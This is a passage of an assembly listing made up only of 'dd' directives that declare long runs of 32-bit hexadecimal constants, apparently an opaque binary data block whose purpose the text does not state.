0A753Bh dd 4248AE38h, 0F8D58626h, 7F9F58BDh, 0C97F4B00h, 0AAC3A40Dh dd 0EF26C100h, 12FF1948h, 2BB90E5Eh, 0A3E74FD6h, 0A778E3E6h dd 7F53AAh, 97A5929Ah, 24C9003Fh, 0E53C2830h, 78001746h dd 0B27AE2F0h, 2A0E7Bh, 0D625C181h, 0E3402B2Dh, 988D1600h dd 0A3D5AB8Fh, 4A172EB4h, 92D30086h, 0E4267D0h, 4B595Ch dd 8366988Ch, 0C22A056h, 0F4354B14h, 0FF21740h, 4803CB74h dd 9A9DBD4Dh, 0E3D3E087h, 0E19B01F1h, 895097ABh, 0B380E74Fh dd 0E005E68h, 5752D026h, 0C020C680h, 1CF5DD88h, 22F27F60h dd 0AED17800h, 70A11750h, 311003A2h, 0DD9F191Dh, 6299780Ch dd 0B43912h, 0E9F52445h, 2EE71415h, 6C92D207h, 12B14716h dd 0C6D90C9Eh, 3D3B10D4h, 91301DDFh, 0C37B1F49h, 3FB0A963h dd 507CADh, 4BE1B0F1h, 0ED40D7CDh, 830094E6h, 0A61DFEF4h dd 1E2A143Fh, 80044DDDh, 40F08A8Ch, 0E7006CA4h, 6A80242Bh dd 263555h, 6DFA0842h, 9E9A5988h, 295BB700h, 458D4BB3h dd 0EC4A01A9h, 61352634h, 130BC28h, 95C38694h, 108054A1h dd 0A9A0DBFh, 0F1006609h, 17696A6Bh, 715EADh, 293FDF12h dd 8045CDB1h, 0C2514960h, 0A8552Bh, 0BBCF1251h, 54196B42h dd 0EF188DE6h, 572938DEh, 0FA413ABDh, 0ACA40A0Bh, 9EAB9B81h dd 1F60CC2Bh, 874BD501h, 0E5EFB728h, 408EB89Fh, 25A4D1D8h dd 0F100B15Eh, 0D7B0BCC2h, 0B07017Fh, 460CA857h, 0AC478B8Eh dd 42D511A9h, 41CEE05Dh, 11DF78C3h, 0AF8040EDh, 445720Eh dd 780A5132h, 56EF803Bh, 0DC00B88Ch, 8362527Dh, 61FB3FCBh dd 74226092h, 0A5488E45h, 1BF0205Bh, 72E0FFh, 0E9D0CB16h dd 3ED363F2h, 806B8138h, 0F991BBD8h, 3AB79232h, 0EC007A87h dd 2D9B64FFh, 8D06FC37h, 5503E3C8h, 21676008h, 0F22DA343h dd 6B4B5A1Eh, 0E65F7200h, 20E219h, 2EF8B929h, 7E7F24EDh dd 84FF9E00h, 9D50EBC0h, 109FE9C7h, 2CA600F2h, 7EC3904Bh dd 8A81333h, 532100E7h, 0DE4AA6B7h, 0C40010FCh, 0A2B43A17h dd 63E3F3CDh, 3ED98884h, 0FCCC0E81h, 4018253Dh, 84A09F9Dh dd 0C10D0F06h, 0DB60A370h, 0F42815F6h, 0EA6016E6h, 918C9220h dd 62D50D42h, 80C07C3Bh, 850DEC19h, 0DFE5F4AFh, 9408011h dd 0FE3168BBh, 3980E719h, 2183F808h, 64092824h, 38E040E3h dd 1F00CDA3h, 0FD85F07Eh, 0D9874752h, 18A55860h, 0A1090846h dd 0F3C42168h, 92E3A40h, 0E878797Bh, 0FDA8B550h, 7301721Bh dd 3E56B950h, 65A680E3h, 37F00EC7h, 0B2E05594h, 7625DC04h dd 77852A00h, 519E3E80h, 68AF3A72h, 0FE6BFC12h, 81DBD80Bh dd 6F337C6h, 0A4EED4h, 12A8A349h, 0DFC27F65h, 0D4016C1Fh dd 18FAC0C0h, 36E49Ah, 0BDF5ECCFh, 0A3697840h, 64AEC800h dd 0BC3BD48Eh, 0CFAD011Bh, 744E0AFBh, 6AFEF497h, 4A7D6800h dd 0B3368569h, 19FEC5Fh, 0AB5E8B37h, 0C0220D2Bh, 9F42AE2h dd 0DAE4B77Bh, 4871F300h, 0FC806918h, 0EE3A0029h, 6490058Ah dd 0D80F3D70h, 0E018CA16h, 0EB87344Bh, 7B60F298h, 0CB0A00BCh dd 0F883E93Bh, 410008F1h, 260C90BBh, 7F2C1FB2h, 0DFD80E33h dd 4EC0D072h, 0F9A03D57h, 0AABE7000h, 99810B0Ah, 0A9DA00D1h dd 0C9E4A258h, 130065C7h, 706ED83Eh, 0C54BB4h, 0F0F1FE51h dd 8083F6DCh, 25860C00h, 5F21A85Ah, 1ED7038Fh, 28B7D552h dd 0A3B33900h, 0F108E503h, 7EC9077Bh, 0AF1B2CD9h, 0B1313220h dd 4339423Fh, 9A1D01CAh, 0AD5F1F7h, 0ED2BAA30h, 0A81697FCh dd 0A7D280h, 0E2571181h, 39D73478h, 505D8507h, 0F5B03305h dd 0B32132h, 0DD6AF15Ch, 4213C5FDh, 8339D903h, 0B10AD28Fh dd 50836FDFh, 4512DBC9h, 8E84B5F8h, 8CC50203h, 0C017C789h dd 25D9FDFh, 3BC3D331h, 10E0D67Ah, 0E3001874h, 0F0DB750Ah dd 0DA783Fh, 0A2BD6032h, 0E05DDF9Eh, 0E27FE700h, 0F990154Dh dd 1B18C0BBh, 5D134E46h, 0DB3CC67Ch, 0A6A70F1Ch, 88710034h dd 0E9FD9B9h, 5EB274DFh, 9576178h, 6300EF79h, 60868B6Fh dd 1E999AD7h, 80C764DFh, 0DE208C78h, 0C80F5EC3h, 87730AF0h dd 14FA6087h, 0E2803D1Fh, 5ADD7231h, 424F00EAh, 0D9C633FBh dd 451A96D1h, 1B7011CBh, 18E1B31Ch, 0B061B0E9h, 53024AFFh dd 956C0C6h, 144C80F1h, 0C4AA79B0h, 0C605EDE8h, 5C8520CEh dd 5F4F44h, 625C273Bh, 0A401AD8Ah, 0CAE0B281h, 2080C4FCh dd 919C9B75h, 0E500DAA7h, 15D1195Fh, 6FBDB92h, 529D4857h dd 0E11DC9B9h, 73C017DCh, 0C45C1C5h, 3B650119h, 0BB266631h dd 5C5098F3h, 0DDB59h, 36435BF6h, 8E09A0Bh, 0C1E79200h dd 62DD0CA9h, 9669039Ch, 0DC5FE419h, 130078E6h, 46B3B51Bh dd 50CD1A61h, 4588A085h, 0F13EFCB1h, 48984C50h, 0C0BE1000h dd 3DA0E6Bh, 5C0C77FAh, 0E74CBDD9h, 9A63DF03h, 79052246h dd 84709087h, 4D522404h, 0B98B903h, 0DAA5DEA8h, 0D1797A3Bh dd 506400D4h, 6701CAE8h, 0C6A9475Ah, 8BD6F73h, 6E9F21E0h dd 0C7007BAEh, 5A589591h, 90C4A188h, 1A15323Ch, 0B4306050h dd 5A6B11CAh, 9FE98867h, 0E0AE40B3h, 71F26699h, 524B9501h dd 70548711h, 3A55DDCCh, 0E1C5DB3h, 0FAD289EEh, 4FF03C00h dd 77124498h, 4008688h, 0C3A2990Ah, 1A160F5Ch, 0B2D64Bh dd 0CF09A380h, 6F2E1F06h, 441FE338h, 0FAC9DD40h, 198CAB75h dd 20DF0E41h, 6530DCDBh, 0C4207353h, 0D8603FBEh, 891BF15h dd 11DB08h, 2C7D3336h, 1801E29Dh, 35905AE1h, 94519EA8h dd 0D02459E4h, 8001030Ah, 37133387h, 0E800E9EFh, 459A2F38h dd 74D64001h, 620B7EDBh, 8B2AC58h, 175A61CAh, 9D43EDC4h dd 69B8AE70h, 0B71F4E29h, 0F46E454h, 0C607192h, 7E08D9F0h dd 5DE8DDB9h, 61CDFD30h, 0CCA8BBh, 0F573142h, 5984489h dd 31C0A3E8h, 5FCCC08Eh, 58491755h, 0C9B41CC8h, 0C8021FA0h dd 7300C57Fh, 74C9C6DAh, 9510C08Ah, 1CB5306Ch, 25BF7516h dd 2008F71Ah, 8A4B0AB4h, 982D0030h, 0BCCEC7F1h, 4100F308h dd 8C12C575h, 960FCE5h, 81100958h, 5BB80C8Ch, 0CCAA028Ch dd 5C7314Ch, 0C2840F16h, 0EF600ECCh, 40C1FA4Bh, 47777A06h dd 8658221Ch, 2704688h, 314BCCB5h, 0C12C918Fh, 0CCAE1110h dd 0E71F82E0h, 7D40AA8Bh, 5EB1E38Ch, 44F4A970h, 60FB81D0h dd 476A110Dh, 0A201B503h, 8BDFA596h, 31D1A446h, 5F202180h dd 91B77803h, 0CB508C62h, 0F0B2C3CAh, 30CDF41h, 935FC98Bh dd 6171DA70h, 343028Ch, 0A676A2A9h, 7B4C0016h, 48598A05h dd 8F12E24Fh, 0E40FC63Dh, 2DD4424Eh, 672BE152h, 0D0543180h dd 0F52082A2h, 0C2F14102h, 8AF74696h, 46765080h, 0F1020EEFh dd 213E49A3h, 137271C0h, 1539C420h, 0B0B7F422h, 6C771C04h dd 663091A2h, 309A00DAh, 72890141h, 4220F3C4h, 0E41460A3h dd 0DF9B3413h, 0B0583201h, 0D980C591h, 0B260243Bh, 72305FB1h dd 0C03488Bh, 80E7601Bh, 8FC41746h, 15E468D0h, 12B4F680h dd 0C400FC5Eh, 6641A5F0h, 4430C6E3h, 8D125894h, 0D81F13B4h dd 91750C08h, 0CAB38065h, 8C6F5A62h, 0C0900258h, 11F6C1AEh dd 48C0AC4Fh, 8AC82080h, 0B4034AC0h, 0F07E56A2h, 21007622h dd 0FA8E0362h, 3BB4D534h, 3F8367B6h, 0DE8A2C24h, 0DCACC040h dd 6AE89441h, 0D9F80ADAh, 82BCA4F3h, 8784763Ch, 0C05AB060h dd 0B160713h, 7FAE2004h, 11DD4480h, 447490B5h, 2118A31Ch dd 5C60F252h, 0E388A83Ah, 0AE512627h, 64261880h, 0D274670Bh dd 80B45C49h, 3147CCA9h dd 10EF8CAFh, 0CCC185h, 2739779Fh, 0CDC99AC5h, 5E378E00h dd 0DD711FF1h, 5A0A05Bh, 75D707A7h, 8053DB14h, 0DFFCA921h dd 0BB21F492h, 806F11F2h, 31619656h, 1D40A5A7h, 56CC4020h dd 6307AB42h, 96A13901h, 7287C023h, 1CD98050h, 5331CEA2h dd 0F400F015h, 782DC70Bh, 0EB008EBFh, 9CC6E94Fh, 47D73Dh dd 3C385220h, 0FCD37362h, 71E9A8A0h, 76F11C99h, 33043418h dd 9CEAE75Eh, 2274D980h, 0BA891EFh, 5420DA5Ch, 0B8EB7DC7h dd 9E6A5503h, 0A88B49DCh, 30D8A1C5h, 3C31ADF3h, 0A248785Eh dd 0C05F8014h, 880C08D8h, 0E1245CB2h, 76440074h, 2ED3E88Ch dd 17B8C719h, 18D44154h, 60FD6237h, 0F89070E4h, 328CD35Ch dd 41552164h, 6DDCCDEAh, 4CE70AFDh, 8EA40151h, 0FBE09417h dd 23D11D2Fh, 9FE9270Eh, 0B85E000Bh, 26916CE8h, 6246655h dd 0C8BFC896h, 8F41220h, 0A5A416AEh, 7142C30Ch, 0EB3D319Ah dd 501BF861h, 18B57CA4h, 6F953500h, 6EB1EADh, 0C0BB03C9h dd 0CF5FC148h, 0B4B63F8h, 0CAA531C2h, 0F00E45Bh, 9DB57ABFh dd 0F51E61C0h, 0E49139F9h, 4D808B91h, 46A2AB03h, 3022A443h dd 3654A1Ch, 5B7F1D00h, 18F857F9h, 2152E33Fh, 6EF0160Ah dd 12CC2648h, 0D2007FC0h, 0DCA92F5Ah, 707149F3h, 46CCB480h dd 448CB731h, 0AC009AB6h, 0B57686CCh, 1B48E60h, 0FC161F24h dd 28AB8885h, 20AF8428h, 64364800h, 0C008C66h, 1EC50EF4h dd 124A66Fh, 0E3C4FCCCh, 0E8F2E4E1h, 7C0185CAh, 96F0CF8Eh dd 408F1EB5h, 11835887h, 0F1D0DF9Ah, 8805C46Fh, 77B33F5Eh dd 0B9C420CBh, 701A30DAh, 6CEF1247h, 5B50C834h, 8859D4A8h dd 8FA69D25h, 1797A6A8h, 46D89028h, 0CABE1D5Eh, 0A5B75A44h dd 0B1815CA2h, 0DF3EAE5Ch, 0C4E4F8C9h, 269C739h, 11009F40h dd 6E0E81EDh, 92C888C2h, 70F89B43h, 2900ED87h, 245DD28Eh dd 4B2271ADh, 7B5840F1h, 3716AC13h, 0F81CAA37h, 1A804B87h dd 504D905Ah, 90178CA9h, 470E4ED0h, 0C8AA152Ch, 982E352Ch dd 580072E4h, 0DCCC29CBh, 1018114Dh, 5700914Ch, 4A4DFC21h dd 4109C26Fh, 4C4349BEh, 2DD040DCh, 0D50820A7h, 6E31C161h dd 0A821A90Ch, 0E61873D1h, 502C2603h, 905531EDh, 0D692345Eh dd 1A480450h, 62640102h, 0A048FCF2h, 0DADC018Ah, 12808DF1h dd 0F850E351h, 48CC254h, 1CE93068h, 0DB8361D5h, 30762F00h dd 0F55EDF00h, 3AD1AEB8h, 0A0D94DFAh, 83772A60h, 0E674A384h dd 640D3805h, 0FE00557Fh, 5BF15812h, 2680949Ah, 0C1465EA0h dd 79106F05h, 1658C4ABh, 0E55803C0h, 0A17C7259h, 64DD3826h dd 0ED9093BDh, 314F4CC0h, 0B30C2886h, 4484B094h, 6E183CBEh dd 0A118A9B0h, 0EFF72009h, 48A87F30h, 37F44F46h, 0D421206Eh dd 7114C6DAh, 5E96751Eh, 151D2A41h, 0E1FA0990h, 0C1E972D8h dd 975AC58h, 6D1CBE30h, 2E05009Ch, 0FA603073h, 0F7488h dd 4619F949h, 8BA207D5h, 6B003671h, 38C8B5BDh, 0A91EB9CAh dd 0AB185AA4h, 2534CC48h, 24969Fh, 0FCCC39Bh, 376A407Eh dd 80F45158h, 0EC9E5694h, 2C870080h, 0FDA56016h, 40001AD0h dd 7E6365CAh, 2E54C0F5h, 28047C6h, 0E2BA38C9h, 1C004050h dd 0A5215CEh, 0F0D9D3h, 45F65B73h, 4CFFB351h, 60009D7Fh dd 0A9B6D729h, 1A15EFBh, 0E295F5F8h, 0F06A3F7Dh, 5C5CDE63h dd 565B00C3h, 0B098CE71h, 18501C8Bh, 78D3C0D9h, 1199AC23h dd 34F6481Dh, 0AA021340h, 221D88h, 0E460F361h, 0EDB972D6h dd 8D393603h, 0ABE6557Ah, 3CE5A823h, 69D000AFh, 51EDC10Ch dd 0BD034ABEh, 0DDA391C4h, 0A09CCB53h, 0C353CE4h, 0EBBCD732h dd 78180A28h, 0D40E35Ah, 7C7F672h, 82D16506h, 4722C12Bh dd 0AF3880D3h, 2D7E9AFDh, 71760632h, 8A65AA3h, 1721E160h dd 0C9D7E82h, 0ED804730h, 60393A60h, 0F7AB0309h, 0C6A61DDCh dd 228F0B89h, 8821426h, 0C3D15Fh, 0DCF40818h, 30AA020h dd 0AD453D27h, 0A03C478Ch, 40C074FCh, 8B98375Ch, 0D0E938C4h dd 7609BC33h, 3EFC2100h, 10B9B498h, 1459005Bh, 0E7E5F7BBh dd 0D3F6E1BFh, 7981290Ah, 7F06AC61h, 46F07B7Dh, 7E8E010Eh dd 72163269h, 1389DE0Ch, 0D07FF0h, 2B96804Eh, 0B6B86675h dd 0B06180F3h, 378CE672h, 8A0501DEh, 0F993CB7Fh, 86BCF0E4h dd 0E0E3E728h, 0C8FA3020h, 83C12180h, 0AF31F67Eh, 89C7B818h dd 0FA3D001Ch, 603A775Eh, 0F54B19D6h, 0B5061EBDh, 0CA13DFEDh dd 52E3890h, 32243A8Ch, 0D719BE71h, 0B785FFCh, 7F0A1518h dd 7C1E3268h, 1A4BFB44h, 31AB7E83h, 4410A9C8h, 0D3E63A00h dd 0A390610Ch, 0C49C03D8h, 8FE5856Ah, 0D02358C0h, 414B9D30h dd 0B5D7DDh, 26D404DEh, 4FE92FCAh, 4DFC50E9h, 0C6022AB3h dd 49D745F7h, 0C42440DDh, 0CB053022h, 0E105A60h, 777FB404h dd 289061F5h, 48AFDCF9h, 20C030A5h, 23D83626h, 2127638Ch dd 6B007CAh, 4EB058F9h, 0B022EF8h, 2A4B7EAAh, 828971Ch dd 0FE60DCF5h, 0D57186Dh, 56114C6Ch, 595C80B0h, 0B8520B99h dd 18CE071Ah, 0F085A528h, 0CFDD2FBEh, 0B0205014h, 748900D4h dd 0EA5FA42Eh, 5D8D005Bh, 97D19153h, 0B70CE13Eh, 401ED3D2h dd 92D73D46h, 86520A00h, 0CFFB5366h, 0DF7C410Ch, 8CA9C07Dh dd 8263607h, 88AA13D8h, 401D925Bh, 9ECF0C8h, 9524EB83h dd 3DDD2CA0h, 3B004A1Fh, 5ED845B5h, 55273A30h, 71FCE8D7h dd 3C1948E6h, 93221B01h, 80AEECFCh, 48C51C58h, 0C1FC30Ch dd 9B5053DCh, 2E125271h, 0C012447Fh, 0C55500Ah, 42869F88h dd 310DCB9h, 0ED438448h, 0B19A4B21h, 864C149h, 1FED6192h dd 92B171B4h, 0D7243483h, 3608D02h, 4408E6A8h, 31CE8C4h dd 54752436h, 51099851h, 10EB95E0h, 909B2F60h, 67E61E74h dd 0F30C0DF9h, 2E59E006h, 23373AFCh, 2A0771C8h, 87C6E182h dd 0A872B08h, 255884D8h, 7957C0D1h, 0C40C8C89h, 799AA3E3h dd 7AC8F61Ch, 2CD615F8h, 0A900ACD0h, 66263D80h, 78768FBFh dd 40FAF45h, 0A51422ECh, 868778Dh, 0B3D1A3h, 27AB03C7h dd 0B5E092A5h, 7CBF4804h, 0AC803F09h, 3A747A4h, 32BDA9E7h dd 28112815h, 0DC08C1F4h, 43100AEFh, 44171984h, 8844C208h dd 436F48F0h, 7975829Ch, 697514A0h, 434B79C8h, 29218F08h dd 8B230050h, 9DCBAE26h, 6D2A9A00h, 3041C705h, 0B60E0014h dd 4C9BA2CEh, 0D5000347h, 20935923h, 0A52B2Ch, 0B47BC835h dd 0D4544D01h, 85C3AA00h, 0D2C10714h, 1F8F38C9h, 0B0271E80h dd 0B49756BCh, 7A2D5807h, 5E8102A3h, 8570F865h, 0C37D00DAh dd 0DFD02876h, 0B0003DBh, 55C88954h, 95B3B2h, 0EBE6318Ah dd 0F5CC2BFCh, 9230FF00h, 9BB6222Ah, 20DA6048h, 93553A7Bh dd 83B40802h, 0A074F66Bh, 2DB1E8D4h, 6E5900A7h, 18F50E27h dd 0F100910Bh, 0C9538590h, 0CF1C68h, 42659CD4h, 9B047C8Dh dd 0A1E08000h, 1CEB9148h, 43580390h, 7A144F34h, 79C951D8h dd 7371C302h, 482DF639h, 7F26C00Ch, 0BEB4002Ch, 6C31CDE6h dd 97003B92h, 0A286CB1Bh, 1E2A59DEh, 0F81090h, 80E76EE0h dd 7700BD0Eh, 2271688Eh, 0D41EDEh, 89F6927Ch, 0DCEF1B06h dd 69B40900h, 9018D10Fh, 7D7703AFh, 74F889B7h, 8744D6A1h dd 0BB504A10h, 0BA299F30h, 996F004Dh, 6C127A8Eh, 3300043Dh dd 0DFA2477Dh, 41D055h, 0EB265DF6h, 566F540Ah, 35BEA300h dd 8F7FE3FEh, 8655008Dh, 0FCBBBAFAh, 99007025h, 3D8AE72Ah dd 249CC31Ch, 398BCA8Dh dd 4BAC9D87h, 0FD4041FAh, 88884038h, 7A0086DFh, 0BDE98F0Bh dd 0EE30D17Fh, 0BFF51C1Dh, 0CE9A005Eh, 7722F18Eh, 1CFF1100h dd 0EFA74C87h, 1EA40148h, 5040D83Fh, 95F0300Fh, 3412E024h dd 87061603h, 11138820h, 0A4CE00B7h, 6BC8E281h, 910002A9h dd 0CCC5176Eh, 1E9738Dh, 0BE72A7C6h, 0CCFDF66Ah, 971CDF95h dd 1DCA863Dh, 1480CC01h, 2FA3697Dh, 706F0090h, 0E62C6A4Eh dd 0CBEA8096h, 200014FEh, 0CC3A729h, 0FADF42h, 195ADD13h dd 0AC946B85h, 56C97B00h, 65B6A228h, 965900FCh, 9137669h dd 0A5489EB0h, 98AA0F4Ch, 8012C0E5h, 21C4EFh, 0F98D5AC1h dd 91ECB302h, 0CE533000h, 0BA833CD6h, 0D43300A4h, 8B2E10DBh dd 40001959h, 0F2B9CFE3h, 0A4D6E7h, 0DC779BBEh, 6E32B290h dd 9730D273h, 9AF22825h, 9EFD0095h, 31D3377Bh, 0C400FA67h dd 68AFF839h, 3F9CEAh, 6A197A24h, 0EB062BE8h, 0B000D2B8h dd 0BDB81F2Ch, 3E05AE7Ch, 0C881DEF6h, 77A2C2B1h, 0BA1AFC7Bh dd 298E2F00h, 86245BCBh, 38711FA7h, 830540BEh, 9A21D108h dd 6F00097Fh, 0CF7AE4Ch, 0EEBD4E37h, 0E37500C0h, 3179CBE1h dd 90A0A278h, 0C9002469h, 255CA726h, 0FEC8C1h, 735A20ABh dd 5B7C27D6h, 0A75F0601h, 7B8B4108h, 0DEB0ECh, 0B687184Dh dd 8936EBDCh, 90F6AD00h, 0A7C79AE0h, 3358008Bh, 11E2CA5h dd 760099C1h, 0C89D5764h, 5B773A0h, 0FB421B6Eh, 0BC9C00FDh dd 45F1A51Dh, 37676F00h, 43141996h, 39B20475h, 0C51E8707h dd 28D58074h, 0DF00C086h, 29F38E91h, 101C42h, 4D1AC246h dd 0FECCFD39h, 0A063Ch, 0B27D830h, 12B7DE88h, 20BB2Eh dd 62EBAE20h, 4A0F8475h, 0A242190Fh, 40A4611Fh, 9843BED0h dd 0F5F40FACh, 40DDCEC4h, 0EEDB91CAh, 682C83B8h, 6400F403h dd 88F57B86h, 7C081FB2h, 82124067h, 0EA0F40D6h, 2A71F118h dd 0B2D31770h, 0BAA309DCh, 64805CCAh, 4C411EFEh, 10D1EB60h dd 3E2055Bh, 0BF52B772h, 87F00B2Eh, 0BC0C6FCEh, 0A0A6A816h dd 5A7D1Dh, 0DBB35284h, 0C7A4A213h, 0C4878F00h, 0C182BF55h dd 23A601DFh, 88F97D81h, 0A9930A9h, 4072C300h, 0AA633686h dd 2846082h, 6DE5354Bh, 88B5824h, 2CC77300h, 1A9333h, 6FE741C4h dd 9DEE4F06h, 0D1C08900h, 6158E932h, 0E081077Bh, 50978BE8h dd 5C13DA82h, 4C95ED07h, 6270636Ch, 5CCE026h, 83C3D403h dd 65F4C0DEh, 0F00B46Fh, 0C8325778h, 8A07A7h, 0ED31967Dh dd 91A354A4h, 34B510C7h, 5D4616C0h, 0EA7F0033h, 4E030FA2h dd 2F07373Ah, 0B6678589h, 0E175004Eh, 0F1B95A7h, 4A6611E6h dd 0C1989EA0h, 6B1D82ADh, 14002FCBh, 0DA7E8887h, 0E2662E19h dd 6CDC00AAh, 0CE9F16D6h, 4AE04300h, 0BEA627A3h, 0F375001Ch dd 0CDDCD51Dh, 0DF02F6FBh, 0E0A437A1h, 7C1C48D7h, 0A7B20360h dd 624F79CEh, 279D6AB8h, 57B01209h, 44ED803Eh, 4E517Ch dd 78F2B67Dh, 86CAB10h, 43831700h, 9901364h, 0C17B74h dd 59D236D0h, 5E6ADD46h, 9B286100h, 7C031568h, 13F77CFAh dd 114449h, 0CEF4E213h, 40004657h, 9C3D71BFh, 12BAB5h dd 4B8B3F19h, 9DECD9A6h, 85039978h, 3D247F2Dh, 8213F0F5h dd 489C499Fh, 62D3DA00h, 0DECA7463h, 7E3CF600h, 4EE6BBACh dd 8B4C0039h, 9D9C099Eh, 6800D650h, 27666289h, 4CA093E2h dd 3600A4CCh, 0B373BEC7h, 6C039207h, 82E634ACh, 8633C0B7h dd 29B200C2h, 9174C088h, 1D2E98D5h, 211DF0B5h, 1BD28180h dd 1F36052Ch, 40CA6AC0h, 0AA13BB15h, 4358B529h, 0AEC1037Ch dd 0B3939BF6h, 70C8A884h, 393B002Bh, 68CD06BEh, 103F34B1h dd 7C2100E7h, 2A405762h, 0D7E20238h, 0DD96F3E4h, 7E9095E0h dd 0ACF29700h, 55FAFBECh, 8CB2E0Ch, 0BA73004Ch, 138C2BF3h dd 0FB1F1B02h, 0E04F90DAh, 68AAF4h, 8902CC25h, 0C7FA6BBEh dd 1329A800h, 3C6FC314h, 3BF53995h, 0F1BC320Bh, 896E8380h dd 0D00E7468h, 80D8EC2Dh, 0AEC3ED0Fh, 0C15D002Bh, 0A124A993h dd 367F873Eh, 86161B03h, 0E7DE1AD1h, 8A341330h, 444300B3h dd 0AB3F3DB7h, 472861D4h, 0C100A0B0h, 3BF2A27Ch, 56A78Ch dd 4D4ADE0h, 0C9CB8035h, 63954900h, 4E0C3C99h, 363B0AD6h dd 98E4BDh, 0D5E18AF6h, 0F4F666D7h, 6ED4D200h, 7C220A47h dd 0A0410102h, 86303E98h, 0F05030E3h, 0B01D6B8h, 67ECFC70h dd 79DC5C08h, 98B97EE8h, 0E60400E4h, 0AA2A5E53h, 6B00BDC6h dd 0EED30737h, 0B6F4C3Fh, 0D6A74B7Eh, 32330100h, 89008854h dd 98FAB561h, 0E635EAh, 0F8252E4Dh, 54CD3606h, 21C9510Bh dd 0EB38203Ah, 0F023F43h, 70DFA88Dh, 0A43E8340h, 8C75E25Dh dd 146BC900h, 0C3CC49A3h, 0A07500B2h, 0D18D2FEAh, 3CE5E1B4h dd 0DEDC0038h, 0C06D97FEh, 0B6EB00E2h, 0C710B090h, 0EF3F757Fh dd 98C51D05h, 9E89803Fh, 1A38D2BFh, 137BF0h, 99F16285h dd 711F94D0h, 0F4BFBC12h, 159E3C02h, 3F620375h, 0A03312C8h dd 421F81B0h, 0F404F49h, 4637AD77h, 0FBDE005Fh, 0BD183688h dd 154ED0DFh, 78EB7000h, 1DC7865Ah, 34667Ch, 87C397FDh dd 68CEF069h, 9D6360F3h, 482EF8BDh, 80187C1h, 0D9A14F60h dd 0AE69C058h, 0F7427200h, 1A2F05B3h, 18B83E9Dh, 6A480C00h dd 36B516E0h, 4A81E900h, 0EA3AC6A4h, 8E4ABFh, 2FCA43B8h dd 6B39B0D4h, 0B05BC25h, 0EA56170h, 23801D5Ch, 291F558Dh dd 9643979Ah, 3363F5A8h, 56FE8003h, 90616E25h, 9C95C7h dd 374DEB22h, 68E982EAh, 7DBF5600h, 71D17E4Ch, 121B0097h dd 305283B4h, 0D001AFCh, 0C45E9A17h, 275CCDEBh, 24A01D53h dd 3F562661h, 0B5CBA8C0h, 98F463h, 0B2626B34h, 6C8E0F25h dd 0D10554E8h, 56AA164Fh, 5F3F9C43h, 6CBDC0E6h, 364903F3h dd 84DF95F6h, 0F2602A00h, 0D3EAB526h, 4C0472C1h, 0CF3EE811h dd 9AAF6D00h, 6FFA234Fh, 98FC7A73h, 3F4CDE00h, 0B5029482h dd 8B3D0491h, 82DBEC76h, 24410DC4h, 560CCC6Dh, 0E33E9D00h dd 68476628h, 0B85100D9h, 23733407h, 0E9004995h, 0BFA01C96h dd 104E7FDh, 161590DCh, 80B02C61h, 87566E11h, 4D1902h dd 8C087244h, 0A6CB8F1h, 952FC91Ch, 6160EB80h, 0CFD490h dd 7C8E1BC4h, 0F8A1AA1Ah, 5E4AD5Ch, 9D5193AFh, 0C69BCCD0h dd 80CD3F9Eh, 9033F118h, 901F2F92h, 807AEF76h, 0CE45A9BAh dd 7B57C9h, 0E301409Ch, 46E6FC15h, 98EA6F1Ch, 617E190Bh dd 16315528h, 9830B6C9h, 0F8B8FEh, 6A8F21ECh, 0A5378329h dd 2F0048B8h, 671F69CEh, 0EE73DBh, 0F4BD9A0Dh, 415C7EE6h dd 1187D400h, 0AD663F6Dh, 0C428482Ch, 0F2303A04h, 4578081h dd 835CEB14h, 80CB3BE8h, 60BCCC0Bh, 16B42Fh, 2DD1ABBDh dd 368A6245h, 0D0A2000h, 0A56094BAh, 0AE6830E6h, 8A96E5C0h dd 83B90600h, 5F5509B8h, 0FCCB00FAh, 3C7035CCh, 0DE00E840h dd 22219491h, 1C3DF84Dh, 415CE9A8h, 9BBE96CDh, 0E6F040B4h dd 78F0F32Eh, 0AD07B0Eh, 693259Eh, 2B7500FBh, 737EBCD1h dd 56714900h, 0E283E3C4h, 0AEF00E4h, 0F9F2CA96h, 2CB028B2h dd 6D169E00h, 0FB55B444h, 0E33F01E4h, 0D1801594h, 0A9FDF445h dd 210010B8h, 0EF095923h, 1DC919EDh, 0C0B8785Bh, 7A02C061h dd 2003537Fh, 0A0FFBE1Ch, 3EF81C6Ch, 103F0066h, 7E1E9321h dd 2F00FC92h, 0EF0E6CADh, 1229C9CDh, 406AE191h, 0EA5761ACh dd 0D00749Bh, 0EEE84F7Ah, 4943B1h, 0BB84A63Bh, 3ED2B914h dd 681CFB03h dd 0D0FFD04Dh, 0CB5777Ch, 0E6AB0B53h, 0A3005210h, 4A5FF1A5h dd 3B93986h, 0D8728F43h, 61F8588Ch, 414411DEh, 0CC80167Bh dd 0A290931Bh, 416882A8h, 290EE307h, 0A957BFAFh, 6522613h dd 0E618C9C9h, 540030D2h, 1A6F8638h, 0A5AB1h, 0B70F4F85h dd 5BA9AAE5h, 0DE3638h, 81FA80EFh, 0FDF66Eh, 0F45A2788h dd 34A20C7Ah, 0C2A75600h, 998E5E71h, 0ECC00039h, 0EECF9CC7h dd 3E18FC52h, 3A134BFh, 0E0484C64h, 0B10F1B00h, 6EDECC6Dh dd 36A82F00h, 0C835D64Ch, 7BB400C1h, 952FF7Ch, 9B00EE19h dd 2D1A54ABh, 0BAB81Fh, 0B715A96h, 1385E62Bh, 90A64D18h dd 7C08E11h, 4F17D99Fh, 9881052h, 29009A7Ch, 2078F521h dd 729ECDB0h, 0C87F008Eh, 0C6741C0Ch, 391572AAh, 943BFDh dd 0AC2A1EB9h, 266A1A31h, 0F0BFF1h, 87E9C630h, 0A100A618h dd 4304E473h, 3D528213h, 50FC9EC5h, 314C06Ah, 5CC1332Bh dd 0A0C0E8EEh, 4700AEE9h, 0DDFAF011h, 5BF8CEh, 0C28081CAh dd 16232870h, 845AFD0Fh, 3C34E00Fh, 10976F6h, 9790E38Dh dd 80936730h, 1F359670h, 1154447h, 0B232CC36h, 47A32461h dd 51BF20B4h, 0DA0F1BC0h, 0B33F6E6Dh, 4F119CC7h, 4C2831D9h dd 0E1801B39h, 55AA47A0h, 7B0FEED0h, 73789040h, 5C498800h dd 322CCB0h, 588BA5F5h, 0E0CCD3D7h, 1B153864h, 8C1C41h dd 0B9EF5F4Bh, 9E0B621h, 9BD052A3h, 6B6D3300h, 860037DBh dd 0E3DE94C2h, 0BC987Bh, 796E2AFCh, 0DA7F5985h, 0C1E88207h dd 0CBE2B62Fh, 3CC481h, 0FE2C92A3h, 7265AD3h, 0F4FC5F28h dd 